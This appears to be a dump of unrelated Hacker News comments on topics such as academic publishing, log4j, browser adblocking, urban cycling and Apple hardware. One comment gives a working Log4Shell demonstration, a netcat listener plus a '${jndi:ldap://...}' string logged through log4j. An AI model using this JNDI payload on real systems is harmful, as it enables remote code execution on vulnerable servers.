skysight-inc/HackerNews huggingface dataset:
It's funny how early 20th century science was filled with mind blowing discoveries and realizations that fundamentally changed how we viewed the universe and to some extent even life itself, while the early 21st century is filled with a surprisingly number of boring work churned out by overworked grad students, that turns out to be, in unsettling quantities, largely bad, irreproducible science.

People love to blame bad statistics, but it's much more obvious that the issue is the "publish or perish" culture and a perpetual race to manufacture credibility in academia. If you're curious you can trace some of this back to the 70s when peer review as we know it today was essentially born, precisely as a means of proving credibility during a period of academic funding crunches.

As much as it's easy to point a finger at academic I increasingly find the same thing in industry. Within my own career the number of companies that are doing nothing more than finding elaborate ways to burn investor funding (without even realizing they are participating in this) has grown to consume almost the entire tech industry.

At this point the most shocking news isn't fraud, it would be to find someone out their down real, meaningful work.
Machine learning identifies species with the potential to spread SARS-CoV-2
So if you have a null pointer exception or something similar in production, you want to send that information to a remote host or alert system to be looked at urgently.
So, useful adblockers that actually work well won't be allowed.
The key part of your sentence there is "was built".

30 years ago I wasn't maintaining software, I was writing it from scratch. We didn't sell "software" to customers, we sold "you could use a computer in your business". We started in DOS, and were around when literally every program was rewritten from scratch in Windows.

We had no scrum, no product managers, just tiny numbers of people building the world.

Today software is everywhere, and it's spent the last 30 years maturing. Tiny projects have turned into huge monsters. We've succeeded in computerising every process. Businesses have lots of processes so there's lots of software working together.

Today's world doesn't need a new invoicing system - there are plenty of capable commercial ones already available - it needs armies to maintain the existing ones. It needs the vision to build on what is there to make it ready for the next 30 years.

Today there are still cutting edge jobs, and new platforms to build new stuff on, but this is a small part of the current "software industry" - these jobs are rare and more people will end up working on existing code.

The good news is that my cohort are retiring and these big existing projects need new "big picture" owners. So there are good, long term, jobs for those who want to take things to the next level.
What lab animal telomere issue? Never heard of that in my decade of working in a lab.
I'm confused. Are they just saying if you throw noise-like images at your hot dog classier and label them 'not hot dog' it improves performance?
The Advantages of Computer Hardware Designed for Linux
> Spec2 is a terrible dsl that offers a shitty vocabular to write unit tests and makes the common path incredible difficult compared to junit.

Yes it is. Deprecate using it and migrate away from it. I hate that these shitty overengineered Cucumber wannabees are what "Scala" means to most people.

It's a great language IMO, but you need to make sure fancy frameworks pay their weight. IMO Shapeless and Scalaz-or-equivalent do - replacing reflection or AOP with plain old compiled code, even complex code, is a huge win. But SBT and the mess of Scala testing libraries are just huge complexity for marginal benefit.
> it seems Tailwind relies on tree shaking to produce sanely sized CSS

This 3.0 release has its biggest feature be JIT. If you read the linked blog post, CSS is no longer purged but generated dynamically by reading your source files and generating the TW classes you use. It's not tree shooken anymore
"sell or hand over the extension", he handed over the original uBlock to someone who immediately tried to monetize it.
This is a cool version of "It's not about the idea but the execution of the idea". I love examples of people taking some pedestrian hobby/skill/craft and making it amazing.
Practical Pigment Mixing for Digital Painting[video]
If doubt that legal action is going to do anything here. Most of the cheat developers are far away from the arms of American law.
Downtown NYC and Paris are ugly, I will take our local roads anytime.
To me it seems like feeding garbage to train the model would expose any sort of ‘bias’ the model has no?
I've used Firefox as a daily driver for over 15 years, and while I do think it treats me more like an idiot than it used to, and don't like that, I still feel far more in control, trusted, and able to configure it than I do with chrome.
The string that is vulnerable is actually not meant to be user input, but a formatting string.

EDIT: nevermind, the issue apparently arises outside of formatting strings—though it would have been nice if the example had demonstrated this.

The issue occurs in incorrect logging code such as:

> logger.info("Data: " + data);

But the correct way of logging the above data is:

> logger.info("Data: {}", data);

It's analogous to using something like the following in C:

> printf(data);

In the incorrect cases (log4j or C), the user input is being used as a format string, and the user can likely cause an RCE. This is an issue in C for reasons that should be obvious. Java has historically been used very reflectively, so whenever there's some expression interpreter or deserialiser involved, there's a good chance it could be RCEd with arbitrary input.
Log4j configuration isn't free either. Ask anyone who has ever been woken up by an asinine log rotation bug. (The tailer broke, or the rotation didn't happen... again, etc)

Playing application log janitor is miserable. Just ship the logs and be done with it.
This is almost exactly what Manifest V3 is - it reduces the extension to just be a list manager for a built-in blocker.

The only real complaint is that Chrome did not anticipate how large these lists need to be in 2021, and the limits are too low.
that tends to be my estimation of them as well
Seconding the recommendation of The Little Schemer, especially as a beginner book. Very accessible and low time investment, but even as an intermediate programmer when I read it, I got a lot out of it.
I recommend watching through the "Not Just Bikes" back catalog.

He has a bunch of videos that address common complaints that people who've only known car-dependent lifestyles bring up.

Here's a good example of how to design functional bicycle infrastructure for a seemingly hostile climate: https://www.youtube.com/watch?v=Uhx-26GfCBU
I don't understand your insistance on "nerds" and don't see who "we" is supposed to be.
I spotted this essay tonight while doing research on something more specific, and was pretty awed at how much this piece laid out the basic problems of the modern internet years before they took their modern form. I highly recommend it. Though the references are clearly dated, it gets a lot right.
I'm also confused. They seem to be missing a paragraph near the start of the article.
I listened a talk by Roger Penrose 7 hours ago and then there's an Escher post 3 hours later.

https://youtu.be/sYRti8ZU5s8
You can use Unions, and in fact that's what Julia do. The issue is performance -- that's what the paper advocates: stable (grounded, more precisely) functions are a clear cut in terms of optimization. Unstable ones is a lottery (sometimes Julia does a decent Job at optimizing them sometimes not).

Rust is an interesting example, maybe I should look into the library. But the compilation model is very different from probably any JIT, including Julia. Optimizations too. For one, unions (enums) in Rust would have much less profound impact on possible optimizations and therefore performance.
Interesting - the modular idea is one of the most interesting to me. The recent hierarchical transformers papers hint that models can be made smaller and might open the door to modular approaches, which could mean highly nuanced customization of your domains of interest, and fitting the model size to the capacity of consumer hardware like phones.

Thanks for the effort you're putting into this!
How it is different from :
easy_install, conda, poetry, pip, pipenv ....
I would try to get a different support agent first and see if their tone changes
For anyone interested in what _winter_ biking infrastructure could look like, some places in Finland have done a great job. Not for everyone, but popular nonetheless:

https://www.youtube.com/watch?v=Uhx-26GfCBU
> The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf which adds a timestamp and a log-level.

I... don't think this is true? When I was using it we used log rotation, log truncation, configurable output formatting that could be made consistent across the code or specialized in certain parts of the code base that required more detailed logging, masking credit card numbers and emails in log statements, and doing all of the logging async to not impact performance. And I'm sure there are features it has which I didn't mention.
I wish them well! Could always use more competitors in the space, I love the innovation in data centers and hardware and cloud offerings in general. More competition is good!
That’s a sponsored newsletter post AFAICT. There are a handful of those that shill for companies willing to part with their dollar
I assume you mean "disruptive" in the sense that it would enable an uninteresting status quo to be replaced with something more dynamic, rather than actually disrupting peoples' work with models.
The RCE works with both ways, start nc (nc -lp 1234) and run this

org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}")
I bought 1gbps router in 2011 and still 10gbps is far out, why would i buy a new router? Wifi APs are a different story.
How do the existing group of voters prove to themselves that the to-be-added voter is actually a unique person, and not a sockpuppet? If it’s something like a government ID, then they’ve outsourced the Sybil protection, and not actually gotten rid of it.
It went final this March though. So Poetry might needs more time to think about the transitioning plan.

Python packaging is again in a chaos since 2021 because of the rise of standardized PEPs.
Seems not included in brave. Does not work for me.
> In terms of what you develop on, that's a whole other story. The majority, of course, are on Linux

I'm not sure that's as obvious as you're making it sound. The number of people who use Linux on the desktop is absolutely minuscule compared to the combined user base of Windows and MacOS. It's probably not as lopsided for developers, but I've never seen anything to imply that most developers in general are on Linux, and I'd honestly be surprised if that's the case given how much smaller the portion is in terms of people I know or have worked with, and that's as someone who does not personally own any laptop or desktop that runs anything other than Linux.
I was looking for this a week ago, thank you
Here's the location, satellite view:

https://www.google.com/maps/@41.7892469,-88.1325316,17z/data...

The nearest true business / shopping district would seem to be downtown Naperville, here:

https://www.google.com/maps/place/Downtown+Naperville,+55+S+...

About 2 mi / 3.2 km from the intersection pictured.
NJB quality is extremely high, that is a fairly objective fact.

That you don't like the fact it gives cyclists "ammunition" sounds like a You problem :-)

Yes it is opinionated though.
I don't think it's possible to talk about what he talks about without being opinionated, because there is such a large section of the population that blindly loves cars to the point that it's become a religion, so everyone talking about improving things for bikes and public transportation looks like... Ammunition for attacks, right?

But he doesn't compare apples to oranges. He compares how different cities function. He showcases how things can work. The potential every city and country has with some better planning.

It's a shame (and a little telling) you don't like him. If you want less opinionated channels about urban planning there is City Beautiful for example. I don't think the production quality is as high, even if the guy is an actual city planner.
Regarding 1, wouldn't Kotlin be a better choice?
Brazilian Department of Health is going under a ransomware attack
All data copied and deleted in ransomware attack. The ConnectSUS database has all the information, health history, and much more sensitivity data, documents numbers, profile pictures, vaccine records, and more.
Jussie Smollett, considered a hoaxer by all sentient beings, is defended by BLM
Alexander Schliker, YC Alum, flies as a super hero Checkout his SuperHeroFM.com
In need of a baby boom, China clamps down on vasectomies
I had 6 agents in total. They were all tone deaf. It feels like I am corresponding with a bot.
I completely agree: in a lot of domains, freeform human language provides far more expressive power than you actually need, or want, for communicating ideas. My IANAL understanding of legalese is that it's an attempt to constrain the use of language to be more precise, but from an outsider's point of view it looks needlessly complicated.

Could be a https://xkcd.com/793/ situation though.
There are (or were) malls in central business districts, say in downtown San Francisco or Chicago. These often have flagship stores, and frequently serve business travellers and tourists (in-country and international).

There are definitely more outlying malls away from downtowns.

Both have been suffering badly for years, and more so during the COVID pandemic.
I agree with this. I’ve been coming to similar conclusions myself.
It does have similar formulation but the setting is completely different. Types in Julia are not the same thing as types in statically typed languages with dependent types. In those languages you can elegantly declare the connection between inputs and outputs, and moreover the connection will be checked. In Julia type stability is a property of a code that Julia compiler will discover on its own during runtime. The programmer can't declare it nor have it checked.
Get a DNS Sink (such as pfblockerNG-devel). Works without Add-Ons or client config and in any browser. uBlock Origin is really only used on my computer for when I am not at home.
For all the claims that the hardware is made for Linux, the system I looked at and the two I own do not have detailed information on how to program the registers in some of the hardware.

I do not know if it is the chip makers or the system makers but the systems are not 100% open if you want to bit bang all the hardware.
Desktop software isn't succeeding in the mainstream anywhere. Desktop is being eaten alive by online connected services.

Open source environments desperately need to start trying to become more. We need new base layers that extend across devices & systems. The desktop is rapidly deprecating, and trying to win it is an actively harmful goal against the future-forward progress we need to be trying for.
It was a few months ago, but if I recall correctly, there were two overrides for info (and the other equivalent methods). info(String, String...) would do {} expansion like you mentioned, but info(String) would log the string directly, not doing format expansion on it.

I'm not sure how this interacts with the RCE issue reported here.

EDIT: That's because I was thinking of Slf4j, which has additional smarts here.
> Ironically, though, the larger Firefox's market share, the more Google will pay to be the default search engine in Firefox.

The smaller Firefox's market share, the more Mitchell Baker gets paid.
Also curious to know.
I disagree strongly with this.

You're better off learning the de-facto libraries of your language. Your employer, or any production application you're going to work on is probably going to use one of these libraries.

I learned the most common Java libraries when writing personal projects -- Lombok, log4j, Guava, Gson, Jackson, Netty, etc.

I had a significantly gentler learning curve at my first job. We used these common libraries, so I had a very easy time when I had to edit log filtering or fix log rotations of our applications.
Beware of the Cormen et al "Introduction to Algorithms". It's a good book. But while it says "introduction", it's typically used for like a third-year undergrad who has a fair amount of programming, data structures, and algorithm experience already. It's more about algorithm _analysis_ - that is, how to prove things about algorithms and formally establish their run-time/complexity bounds - than about how to use or write them. Probably not what you want to start with.

Knuth's Art of Computer Programming is even more hardcore than that, imho. Probably not what a beginner wants unless you want to dive right in to the deep end.

SICP is more accessible but still pretty textbook-y.

But I don't actually know what I'd recommend instead. I did a CS undergrad degree, so Cormen and other textbooks are how I learned. But I did that over 5 years with lots of professional help. Dunno what a good self-study-friendly alternative is.
Ewwwwwwwww.
Get your false hope bullshit out of here.
Aha! Yes, I remember now, I must have seen jrnl here on HN. I certainly imitated its interface. Looking at the project again I'd recommend using jrnl instead of my one-off scripts, it's seen a lot of recent activity!

Now that my memory is jogged (amusing, for a journaling discussion), I opted for my solution because I wanted as few dependencies as possible for workflow reasons. Journaling is very personal, and I wanted the ability to quickly change the tool if it didn't suit me. Now that I better understand what I want, I may switch to jrnl. I also built a rudimentary task tracking system on top of my system as a separate tool, but that part really isn't worth sharing.

jrnl interop sounds useful, especially if bidirectional and automated (and for me personally, available on Android).
Sheesh, more of this? No, it doesn't work. I have 2 hectares. 1 in Boise ID and 1 in California. Some company makes a billion dollars selling squatty potties. Now they some CEO can afford to rent from me for the tax on the land + some rent under the table (or in trade for stock) while I live in Boise ID. There's all kinds of wild assumptions about tracking wealth and how wealth moves that are impractical throughout these thought experiments.

> Imagine I'm a landlord, and I have a vacant lot I'm renting to a tenant who's got a mobile home parked there. What's going to happen if a Land Value Tax is imposed on me? Well, I'm already charging as much as the market will bear.

This kind of assumption that only checks the boundary condition of some LVT appearing, when the very first study cited talks about how the price of the tax increase (coming in 2007) starts to get baked into the home pricing years prior. This is some high-school level analysis.

> The key thing is that land income drives land price and not the other way around. If a property is capable of generating $10,000/year in rents, then the amount I'm willing to pay to buy it is $10,000 times X, where X represents how many years I'm willing to wait to break even on my investment.

No. Cash is deflationary, which is why capitalists love debt. The X*10k I borrow to put down on the property is less than that absolute value. More than that, what you want to pay has nothing to do with what's charged because the seller likely has a debt they ALSO have to pay off. These things aren't important, really?

I mean I can go through it and rip it to shreds, but most people who have any money can see right through it for the simplistic worldview it presents about water 'flow' and land 'stock'. SMH

Land isn't the only thing being traded in a capitalist economy so it becomes a commodity, with the tax priced in, just like anything else. The end.
More than half of high-impact cancer lab studies can be replicated?
I'm not sure where you got this model.

It's not that small towns are strung out along roads. Rather, the town itself becomes a nexus for walk/bike-ability. Instead of every trip to the grocery store, movie theater, and gym being taken by car, the vast majority of trips are taken by walking or biking. This isn't to say there aren't cars in town: on the contrary, roads exist, ideally going around heavily trafficked areas. This lets the roads focus on being roads (getting people from place to place) and the streets focus on being streets (allowing people to walk, bike, and "experience the world", in the parlance of "Not Just Bikes".

Of course, the next town over (let's say it's 20 miles away) will be "down the road", with a both a road and a train connecting them.
> asitop

Neat little tool

> Does anything actually use the ANE?

I poked around for a few minutes to see if I could get anything. I saw a blip of usage on in Photos when adding a photo, probably for the new text recognition feature. I was able to see a lot of usage in Photo Booth, I guess for face detection for effects. There's definitely third-party apps making use of Core ML, but it's not something I know much about.
On the iPhone devices, it's also used for Face ID (as the article mentions), which is probably much more important to Apple.

> This may be a dumb question, but would the space not be better used for more GPU cores? Then if an app actually does need to do neural net stuff, just use the GPU anyway?

The ANE is likely going to be more power-efficient than GPU cores loaded up for similar processing. Could they use the space for more GPU cores? Maybe, but they would have to work it into their memory architecture, support the additional power requirements, and presumably handle other engineering challenges like thermal design. Including the ANE also gives them something else to put in their marketing materials lol.
>Three of six presidents: Bush, Bush, and (law school only) and Clinton. None of the three seems or seemed much afflicted by wokeness.

Maybe because they graduated Yale decades ago and the culture wars wasn't a thing yet?
People not being afraid of change. I have watch people panic just by replacing the browser and it's icon - worse I have seen them get lost just because an icon or menu item has been moved to a different location.

They do not look at the screen, they just make the magic movements that did what i also did in the past.
Yeah they're so ugly that people fly in from all over the world to take photos there.
Decentralisation efforts at this point is very akin to the democratic movements from centuries ago. Governments being reluctant to entertain efforts of taking back control, most recent example being StarLink asked to stop selling in India since they aren't registered as an ISP. The whole point of satellite internet is to avoid geo-control by any government body or local ISP.
The word makes very limited appearance in the Google Ngram English 2019 corpus:

https://books.google.com/ngrams/graph?content=stroad&year_st...

I suspect most of those are spurious.

Google Trends tends to be better for terms coined / come into common usage after the year 2000.

Even that's pretty spotty:

https://trends.google.com/trends/explore#q=stroad
> Around 60-70% of South Africans have already had a Covid-19 infection since the start of the epidemic in March 2020.

https://www.news24.com/health24/medical/infectious-diseases/...
Drivers Playing Video Games? US Is Looking into Tesla Case